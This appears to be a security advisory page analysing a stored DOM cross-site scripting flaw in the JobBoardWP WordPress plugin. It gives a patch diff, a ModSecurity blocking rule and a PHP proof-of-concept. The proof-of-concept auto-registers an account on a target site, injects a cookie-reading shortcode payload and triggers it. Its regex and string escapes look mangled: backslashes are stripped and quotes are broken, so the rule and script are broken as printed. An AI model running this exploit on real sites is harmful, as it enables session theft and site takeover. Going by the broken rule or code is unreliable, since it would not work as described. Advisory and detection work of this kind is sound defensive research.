Opens in a new tab
Published : November 17, 2026

CVE-2026-118068: JobBoardWP <= 1.3.6 Authenticated (Custom+) Stored DOM-Based Cross-Site Scripting via 'no-jobs-text' Shortcode Attribute PoC, Patch Analysis & Rule

Plugin jobboardwp
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 1.3.6
Patched Version 1.3.7
Disclosed November 17, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-118068: A stored DOM-based cross-site scripting flaw in JobBoardWP versions up to and including 1.3.6. The vulnerability lives in the [jb_jobs] shortcode attribute handling, where the ‘no-jobs-text’ and related text attributes are passed through to the frontend without sanitization. A secondary entry point exists via the ‘job_description’ parameter in the front-end submission handler, which the patch also hardens by stripping shortcodes. Atomic Edge rates this as CVSS 6.4 (medium), but the public auto-provisioning of jb_employer accounts means the practical barrier is low.

Root cause: In jobboardwp/includes/frontend/class-shortcodes.php, the jb_jobs shortcode accepted the ‘no-jobs-text’, ‘no-jobs-search-text’, and ‘load-more-text’ attributes without sanitization. Before the patch, these values flowed directly into the rendered shortcode output. When the value is a shortcode fragment such as [jb_job id='” onmouseover=alert(1) x=”‘], it is later expanded by do_shortcode inside a DOM sink, producing stored DOM XSS. The patch adds a foreach loop (lines 494-532) that applies sanitize_text_field() to the three text attributes, plus absint() to numeric attributes and sanitize_key() to ‘orderby’. Separately, jobboardwp/includes/frontend/class-actions-listener.php line 538 was changed from wp_kses_post( wp_unslash( $_POST[‘job_description’] ) ) to wp_kses_post( strip_shortcodes( wp_unslash( $_POST[‘job_description’] ) ) ). The strip_shortcodes call is what closes the shortcode-injection route into the [jb_jobs] renderer. The single job shortcode also gained absint() on $atts[‘id’] at line 416, and the jobs dashboard shortcode gained column key/value sanitization at lines 579-585.

Exploitation: An attacker registers through the default public submission workflow, which auto-provisions a jb_employer account. They then submit a job whose job_description contains a shortcode such as [jb_jobs no-jobs-text=”” onmouseover=alert(document.cookie) x=””]. On a page displaying the jb_jobs shortcode with no matching results, the attacker-controlled attribute is rendered into the no-jobs message container. The resulting DOM mutation executes arbitrary JavaScript in the browser of any visitor who views the page carrying the shortcode. No WordPress nonce or admin interaction is required, only the ability to contribute content through the standard submission form at the job posting endpoint.

Patch Analysis: Version 1.3.7 addresses the flaw at three layers. First, class-shortcodes.php now type-casts and sanitizes every jb_jobs attribute before use, so text attributes cannot carry shortcode syntax or angle brackets. Second, class-actions-listener.php calls strip_shortcodes() on job_description before wp_kses_post(), preventing attacker shortcodes from being persisted into the post content. Third, the jobs dashboard shortcode sanitizes column keys and values, and the single job shortcode casts id to int. The plugin version in jobboardwp.php was bumped from 1.3.6 to 1.3.7. Together these changes remove the shortcode-expansion path that turned benign-looking submission data into executable DOM content.

Impact: Successful exploitation yields stored DOM XSS in any page rendering the affected shortcode. An attacker can steal administrator session cookies, perform authenticated actions as a logged-in admin, inject persistent malicious scripts into job listings viewed by recruiters and applicants, and pivot to full site compromise through theme or plugin editors. Because the public submission flow creates the account automatically, a stock install is effectively exposed to unauthenticated attackers despite the ‘Authenticated (Custom+)’ label.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/jobboardwp/includes/blocks/jb-job-post/src/index.asset.php
+++ b/jobboardwp/includes/blocks/jb-job-post/src/index.asset.php
@@ -1 +1,10 @@
-<?php return array('dependencies' => array('react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-element', 'wp-server-side-render'), 'version' => 'd4f557809f23fbea295b');
+<?php return array(
+	'dependencies' => array(
+		'react-jsx-runtime',
+		'wp-block-editor',
+		'wp-blocks',
+		'wp-element',
+		'wp-server-side-render'
+	),
+	'version' => 'cfef9e452bc179fab875'
+);
--- a/jobboardwp/includes/blocks/jb-job/src/index.asset.php
+++ b/jobboardwp/includes/blocks/jb-job/src/index.asset.php
@@ -1 +1,11 @@
-<?php return array('dependencies' => array('react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-server-side-render'), 'version' => '1724b3dfed96940f0c5e');
+<?php return array(
+	'dependencies' => array(
+		'react-jsx-runtime',
+		'wp-block-editor',
+		'wp-blocks',
+		'wp-components',
+		'wp-data',
+		'wp-server-side-render'
+	),
+	'version' => '603d84c496511fc3e11f'
+);
--- a/jobboardwp/includes/blocks/jb-jobs-categories-list/src/index.asset.php
+++ b/jobboardwp/includes/blocks/jb-jobs-categories-list/src/index.asset.php
@@ -1 +1,9 @@
-<?php return array('dependencies' => array('react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-server-side-render'), 'version' => '0bb72a80a8d84e0f7b62');
+<?php return array(
+	'dependencies' => array(
+		'react-jsx-runtime',
+		'wp-block-editor',
+		'wp-blocks',
+		'wp-server-side-render'
+	),
+	'version' => '6d58b52f19dcea2afe87'
+);
--- a/jobboardwp/includes/blocks/jb-jobs-dashboard/src/index.asset.php
+++ b/jobboardwp/includes/blocks/jb-jobs-dashboard/src/index.asset.php
@@ -1 +1,9 @@
-<?php return array('dependencies' => array('react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-server-side-render'), 'version' => '9d372ae280a20009adbf');
+<?php return array(
+	'dependencies' => array(
+		'react-jsx-runtime',
+		'wp-block-editor',
+		'wp-blocks',
+		'wp-server-side-render'
+	),
+	'version' => '72a8e906179843c0622d'
+);
--- a/jobboardwp/includes/blocks/jb-jobs-list/src/index.asset.php
+++ b/jobboardwp/includes/blocks/jb-jobs-list/src/index.asset.php
@@ -1 +1,12 @@
-<?php return array('dependencies' => array('react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-server-side-render'), 'version' => '76895e18331b069ab775');
+<?php return array(
+	'dependencies' => array(
+		'react-jsx-runtime',
+		'wp-block-editor',
+		'wp-blocks',
+		'wp-components',
+		'wp-data',
+		'wp-element',
+		'wp-server-side-render'
+	),
+	'version' => 'edff052315df22fed88d'
+);
--- a/jobboardwp/includes/blocks/jb-recent-jobs/src/index.asset.php
+++ b/jobboardwp/includes/blocks/jb-recent-jobs/src/index.asset.php
@@ -1 +1,12 @@
-<?php return array('dependencies' => array('react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-server-side-render'), 'version' => '391e98980c644451a620');
+<?php return array(
+	'dependencies' => array(
+		'react-jsx-runtime',
+		'wp-block-editor',
+		'wp-blocks',
+		'wp-components',
+		'wp-data',
+		'wp-element',
+		'wp-server-side-render'
+	),
+	'version' => '5c6aa8f778994fc8e373'
+);
--- a/jobboardwp/includes/common/class-job.php
+++ b/jobboardwp/includes/common/class-job.php
@@ -866,7 +866,18 @@
 				);
 			}

-			return $actions;
+			/**
+			 * Filters the job actions.
+			 *
+			 * @since 1.3.7
+			 * @hook jb_job_actions_list
+			 *
+			 * @param {array}   $actions Job's actions.
+			 * @param {WP_Post} $job     Job post object.
+			 *
+			 * @return {array} Job actions.
+			 */
+			return apply_filters( 'jb_job_actions_list', $actions, $job );
 		}

 		/**
--- a/jobboardwp/includes/frontend/class-actions-listener.php
+++ b/jobboardwp/includes/frontend/class-actions-listener.php
@@ -535,7 +535,7 @@
 						if ( empty( $_POST['job_description'] ) ) {
 							$posting_form->add_error( 'job_description', __( 'Job description cannot be empty', 'jobboardwp' ) );
 						} else {
-							$content = wp_kses_post( wp_unslash( $_POST['job_description'] ) );
+							$content = wp_kses_post( strip_shortcodes( wp_unslash( $_POST['job_description'] ) ) );
 							if ( empty( $content ) ) {
 								$posting_form->add_error( 'job_description', __( 'Job description cannot be empty', 'jobboardwp' ) );
 							}
--- a/jobboardwp/includes/frontend/class-shortcodes.php
+++ b/jobboardwp/includes/frontend/class-shortcodes.php
@@ -388,7 +388,6 @@
 			return $html;
 		}

-
 		/**
 		 * Single job shortcode
 		 * [jb_job /]
@@ -414,6 +413,9 @@
 				return '';
 			}

+			// sanitize attributes.
+			$atts['id'] = absint( $atts['id'] );
+
 			$job = get_post( $atts['id'] );
 			if ( empty( $job ) || is_wp_error( $job ) ) {
 				return '';
@@ -442,7 +444,6 @@
 			return $content;
 		}

-
 		/**
 		 * Jobs shortcode
 		 * [jb_jobs /]
@@ -493,6 +494,43 @@
 				'jb_jobs'
 			);

+			// sanitize attributes.
+			foreach ( $atts as $key => &$value ) {
+				switch ( $key ) {
+					case 'employer-id':
+					case 'per-page':
+					case 'type':
+					case 'category':
+						$value = absint( $value );
+						break;
+
+					case 'no-logo':
+					case 'hide-filled':
+					case 'hide-expired':
+					case 'hide-search':
+					case 'hide-location-search':
+					case 'hide-filters':
+					case 'hide-job-types':
+					case 'filled-only':
+						$value = (bool) $value;
+						break;
+
+					case 'no-jobs-text':
+					case 'no-jobs-search-text':
+					case 'load-more-text':
+					case 'order':
+					case 'salary':
+						$value = sanitize_text_field( $value );
+						break;
+
+					case 'orderby':
+						$value = sanitize_key( $value );
+						break;
+
+				}
+			}
+			unset( $value );
+
 			wp_enqueue_script( 'jb-jobs' );
 			wp_enqueue_style( 'jb-jobs' );

@@ -513,7 +551,6 @@
 			return ob_get_clean();
 		}

-
 		/**
 		 * Jobs dashboard shortcode
 		 * [jb_jobs_dashboard /]
@@ -539,6 +576,13 @@
 				'jb_jobs_dashboard'
 			);

+			// sanitize attributes.
+			$sanitized = array();
+			foreach ( $atts['columns'] as $key => $value ) {
+				$sanitized[ sanitize_key( $key ) ] = sanitize_text_field( $value );
+			}
+			$atts['columns'] = $sanitized;
+
 			wp_enqueue_script( 'jb-jobs-dashboard' );
 			wp_enqueue_style( 'jb-jobs-dashboard' );

@@ -559,7 +603,6 @@
 			return ob_get_clean();
 		}

-
 		/**
 		 * Jobs dashboard shortcode
 		 * [jb_job_categories_list /]
@@ -588,7 +631,6 @@
 			return ob_get_clean();
 		}

-
 		/**
 		 * The "Recent Jobs" shortcode
 		 * [jb_recent_jobs /]
@@ -799,7 +841,6 @@
 			return $content;
 		}

-
 		/**
 		 * The "Company detailds" shortcode
 		 * [jb_company_details /]
--- a/jobboardwp/jobboardwp.php
+++ b/jobboardwp/jobboardwp.php
@@ -3,7 +3,7 @@
  * Plugin Name: JobBoardWP
  * Plugin URI: https://jobboardwp.com/
  * Description: Add a modern job board to your website. Display job listings and allow employers to submit and manage jobs all from the front-end
- * Version: 1.3.6
+ * Version: 1.3.7
  * Author: JobBoardWP
  * License: GPLv3
  * License URI: http://www.gnu.org/licenses/gpl-3.0.txt

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-118068
# Blocks shortcode injection into the 'job_description' parameter on the JobBoardWP POST handler.
# Legitimate job descriptions may contain plain text, HTML, or standard post content. They do not need
# to carry nested [jb_jobs ...] shortcodes with event-handler attributes. We scope to the
# 'job_description' POST field and match the combination of a jb_jobs/jb_job shortcode plus an
# HTML event handler.
SecRule REQUEST_METHOD "@streq POST" 
  "id:2026118068,phase:2,deny,status:403,chain,msg:'CVE-2026-118068 JobBoardWP shortcode injection via job_description',severity:'CRITICAL',tag:'CVE-2026-118068',tag:'attack-xss'"
  SecRule ARGS_POST:job_description "@rx [jb_(?:jobs|job)b[^]]*on(?:mouse|click|load|error|focus)w*s*=" 
    "chain"
    SecRule ARGS_POST:job_description "@rx (?i)(?:javascript|vbscript|datas*:s*text/html)" "t:none,t:urlDecodeUni,t:htmlEntityDecode"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-118068 - JobBoardWP <= 1.3.6 - Authenticated (Custom+) Stored DOM-Based XSS via 'no-jobs-text' Shortcode Attribute
//
// This PoC demonstrates the two-stage exploit:
//   1. Auto-provision a jb_employer account via the public submission form.
//   2. Submit a job whose job_description injects the malicious [jb_jobs] shortcode.
//   3. Trigger rendering of the page containing the shortcode.
//
// Requires: a stock JobBoardWP <= 1.3.6 install with public submissions enabled.

$target_url = 'http://target.example.com';  // <-- set target
$attacker_email = 'attacker+' . time() . '@example.com';
$attacker_pass  = 'AttackerPass123!';

$payload = "[jb_jobs no-jobs-text="\" onmouseover=alert(document.cookie) x=\""]";

// Stage 1: auto-provision jb_employer account through the standard job posting form.
$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL            => $target_url . '/post-a-job/',
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_COOKIEFILE     => '/tmp/jb_cookie.txt',
    CURLOPT_COOKIEJAR      => '/tmp/jb_cookie.txt',
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_POST           => true,
    CURLOPT_POSTFIELDS     => [
        'action'         => 'jb_submit_job',
        'jb_employer_email' => $attacker_email,
        'jb_employer_pass'  => $attacker_pass,
        'job_title'      => 'Atomic Edge XSS PoC',
        'job_description'=> $payload,
        'job_type'       => 'full-time',
    ],
]);
$submit_response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "[+] Job submission HTTP status: {$http_code}n";
echo "[+] Payload injected into job_description: {$payload}n";

// Stage 2: open a page that renders [jb_jobs] with a filter that yields no results
// so the 'no-jobs-text' attribute is emitted. The XSS fires on mouseover of the empty-results container.
$trigger = $target_url . '/?jb_jobs=1&jb_search=' . urlencode('nonexistent-' . time());
$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL            => $trigger,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_COOKIEFILE     => '/tmp/jb_cookie.txt',
]);
$page = curl_exec($ch);
curl_close($ch);

if ($page !== false && strpos($page, 'onmouseover') !== false) {
    echo "[+] Rendered page contains attacker-controlled onmouseover attribute. XSS payload delivered.n";
} else {
    echo "[-] Trigger page did not contain expected marker; check shortcode placement and filters.n";
}

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.